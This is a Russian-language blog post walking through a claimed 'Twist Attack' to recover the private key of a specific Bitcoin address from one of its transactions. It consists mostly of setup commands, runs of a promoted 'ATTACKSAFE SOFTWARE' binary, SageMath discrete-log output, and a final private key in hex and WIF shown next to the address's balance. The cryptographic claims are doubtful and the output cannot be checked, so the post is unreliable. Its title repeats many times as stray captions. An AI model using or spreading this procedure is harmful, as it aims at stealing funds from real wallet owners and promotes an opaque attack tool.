Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку


В этой статье мы реализуем Twist Attack на примере №2 согласно первой теоретической части статьи мы убедились что с помощью определенных точек на эллиптической кривой secp256k1 мы можем получить частичные значение приватного ключа и в течение 5-15 минут восстановить Биткоин Кошелек используя “Sagemath pollard rho function: (discrete_log_rho)” и “Chinese Remainder Theorem”.

Продолжим ряд операций ECC, так как эти определенные точки являются злонамеренно выбранными точками на эллиптической кривой secp256k1

Согласно твиту Paulo Barreto: https://twitter.com/pbarreto/status/825703772382908416?s=21

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

The cofactor is 3^2*13^2*3319*22639

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
E1: 20412485227
E2: 3319, 22639
E3: 109903, 12977017, 383229727
E4: 18979
E6: 10903, 5290657, 10833080827, 22921299619447

prod = 20412485227 * 3319 * 22639 *109903 * 12977017 * 383229727 * 18979 * 10903 * 5290657 * 10833080827 * 22921299619447

38597363079105398474523661669562635951234135017402074565436668291433169282997 = 3 * 13^2 * 3319 * 22639 * 1013176677300131846900870239606035638738100997248092069256697437031

HEX:0x55555555555555555555555555555555C1C5B65DC59275416AB9E07B0FEDE7B5


При запуске Twist Attack «приватный ключ» может быть получен при определенном выборе «публичного ключа» (выбранная точка эллиптической кривой secp256k1) , то есть значение в транзакции раскрывается.
После чего раскроется и информация о приватном ключе, но для этого нужно выполнить несколько операций ECC.

E1: y^2 = x^3 + 1
E2: y^2 = x^3 + 2
E3: y^2 = x^3 + 3
E4: y^2 = x^3 + 4
E6: y^2 = x^3 + 6
y² = x³ + ax + b. In the Koblitz curve,
y² = x³ + 0x + 7. In the Koblitz curve,
0  = x³ + 0  + 7
b '= -x ^ 3 - ax.

Все точки (x, 0) попадают на недопустимые кривые с b '= -x ^ 3 - ax


Перейдем к экспериментальной части:

(Рассмотрим Биткоин Адрес)

1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx


(Теперь рассмотрим критический уязвимые транзакции)

https://btc1.trezor.io/tx/60918fd82894eb94c71a9c10057ffe9d8a82074426f596dcbc759d676c886ae9

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Откроем [TerminalGoogleColab].

Реализуем алгоритм Twist Attack с помощью нашей репозитории 18TwistAttack

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/18TwistAttack/

ls
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Установим все нужные нам пакеты

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

requirements.txt


sudo apt install python2-minimal

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip2 install -r requirements.txt
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
,

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Подготовим RawTX для атаки


1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx

https://btc1.trezor.io/tx/60918fd82894eb94c71a9c10057ffe9d8a82074426f596dcbc759d676c886ae9

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

RawTX = 01000000013edba424d1b614ec2182c8ac6856215afb803bcb9748c1888eecd35fffad67730e0000006b483045022100bbabd1cb2097e0053b3da453b15fd195a2bc1e8dbe00cfd60aee95b404d2abfa02201af66956a7ea158d32b0a56a46a83fe27f9e544387c8d0ce13cd2a54dba9a747012102912cd095d2c20e4fbdb20a8710971dd040a067dba45899b7156e9347efc20312ffffffff01a8020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

Сохраним в файле: RawTX.txt

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Чтобы реализовать атаку мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE”

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
www.attacksafe.ru/software

Права доступа:

chmod +x attacksafe
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Применение:

./attacksafe -help
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode

./attacksafe -version
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
Version 5.3.2. [ATTACKSAFE SOFTWARE, © 2023]

"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.

Запустим список всех атак:

./attacksafe -list
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Выберем -tool: twist_attack

Чтобы получить определенные точки secp256k1 из уязвимой транзакции подписи ECDSA, мы добавили данные RawTX в текстовый документ и сохранил как файл RawTX.txt

01000000013edba424d1b614ec2182c8ac6856215afb803bcb9748c1888eecd35fffad67730e0000006b483045022100bbabd1cb2097e0053b3da453b15fd195a2bc1e8dbe00cfd60aee95b404d2abfa02201af66956a7ea158d32b0a56a46a83fe27f9e544387c8d0ce13cd2a54dba9a747012102912cd095d2c20e4fbdb20a8710971dd040a067dba45899b7156e9347efc20312ffffffff01a8020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

Запустим -tool twist_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


./attacksafe -tool twist_attack -open RawTX.txt -save SecretPoints.txt
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Мы запустили данную атаку из -tool twist_attack и результат сохранился в файл SecretPoints.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretPoints.txt

cat SecretPoints.txt

Результат:

Elliptic Curve Secret Points:

Q11 = E1([97072073026593516785986136148833105674452542501015145216961054272876839453879, 107567253371779495307521678088935176637661904239924771700494716430774957820966])
Q21 = E2([3350296768277877304391506547616361976369787138559008027651808311357100316617, 72988900267653266243491077449097157591503403928437340215197819240911749073070])
Q22 = E2([112520741232779465095566100761481226712887911875949213866586208031790667764851, 67821409607391406974451792678186486803604797717916857589728259410989018828088])
Q31 = E3([19221018445349571002768878066568778104356611670224206148889744255553888839368, 51911948202474460182474729837629287426170495064721963100930541018009108314113])
Q32 = E3([41890177480111283990531243647299980511217563319657594412233172058507418746086, 50666391602993122126388747247624601309616370399604218474818855509093287774278])
Q33 = E3([42268931450354181048145324837791859216268206183479474730830244807012122440868, 106203099208900270966718494579849900683595613889332211248945862977592813439569])
Q41 = E4([54499795016623216633513895020095562919782606390420118477101689814601700532150, 105485166437855743326869509276555834707863666622073705127774354124823038313021])
Q61 = E6([62124953527279820718051689027867102514830975577976669973362563656149003510557, 100989088237897158673340534473118617341737987866593944452056172771683426720481])
Q62 = E6([86907281605062616221251901813989896824116536666883529138776205878798949076805, 19984923138198085750026187300638434023309806045826685297245727280111269894421])
Q63 = E6([66063410534588649374156935204077330523666149907425414249132071271750455781006, 25315648259518110320341360730017389015499807179224601293064633820188666088920])
Q64 = E6([109180854384525934106792159822888807664445139819154775748567618515646342974321, 102666617356998521143219293179463920284010473849613907153669896702897252016986])


RawTX = 01000000013edba424d1b614ec2182c8ac6856215afb803bcb9748c1888eecd35fffad67730e0000006b483045022100bbabd1cb2097e0053b3da453b15fd195a2bc1e8dbe00cfd60aee95b404d2abfa02201af66956a7ea158d32b0a56a46a83fe27f9e544387c8d0ce13cd2a54dba9a747012102912cd095d2c20e4fbdb20a8710971dd040a067dba45899b7156e9347efc20312ffffffff01a8020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

Теперь добавим полученные точки secp256k1

Для этого откроем Python-script: discrete.py

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Для того чтобы запустить Python-script: discrete.py установим SageMath


Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Команда установки:

sudo apt-get update
sudo apt-get install -y python3-gmpy2
yes '' | sudo env DEBIAN_FRONTEND=noninteractive apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" install sagemath

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Проверим установку SageMath по команде: sage -v


Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
SageMath version 9.0

Чтобы решить дискретное логарифмирование (Pollard's rho algorithm for logarithms) запустим Python-script: discrete.py

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Команда запуска:

sage -python3 discrete.py
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Результат:

Discrete_log_rho:

14996641256
1546
19575
31735
9071789
145517682
11552
7151
3370711
10797447604
10120546250224

PRIVATE KEY:

3160389728152122137789469305939632411648887242506549174582525524562820572318

privkey = crt([x11, x21, x22, x31, x32, x33, x41, x61, x62, x63, x64], [ord11, ord21, ord22, ord31, ord32, ord33, ord41, ord61, ord62, ord63, ord64])

Мы решили дискретное логарифмирование и с помощью “Китайской теоремы об остатках (Chinese remainder theorem)” получили приватный ключ в десятичном формате.

Конвертируем приватный ключ в HEX формат

Десятичный формат приватного ключа был сохранен в файл: privkey.txt

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Запустим Python-script: privkey2hex.py

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

python3 privkey2hex.py
cat privkey2hex.txt
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Откроем полученный файл: privkey2hex.txt


Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Приватный ключ в HEX формате:

PrivKey = 06fcb79a2eabffa519509e43b7de95bc2df15ca48fe6be29f9160bcd6ac1a49e

Откроем bitaddress и проверим:

ADDR: 1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx
WIF:  KwTHx3AhV8qiN6qyfG1D85TGEeUBiaMUjnQ11eVLP5NAfiVNLLmS
HEX:  06FCB79A2EABFFA519509E43B7DE95BC2DF15CA48FE6BE29F9160BCD6AC1A49E
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку


https://live.blockcypher.com/btc/address/1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx/


Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

BALANCE: $ 902.52


Исходный код

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/pOviZOYItv4

Источник: https://cryptodeep.ru/twist-attack-2


Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

Crypto Deep Tech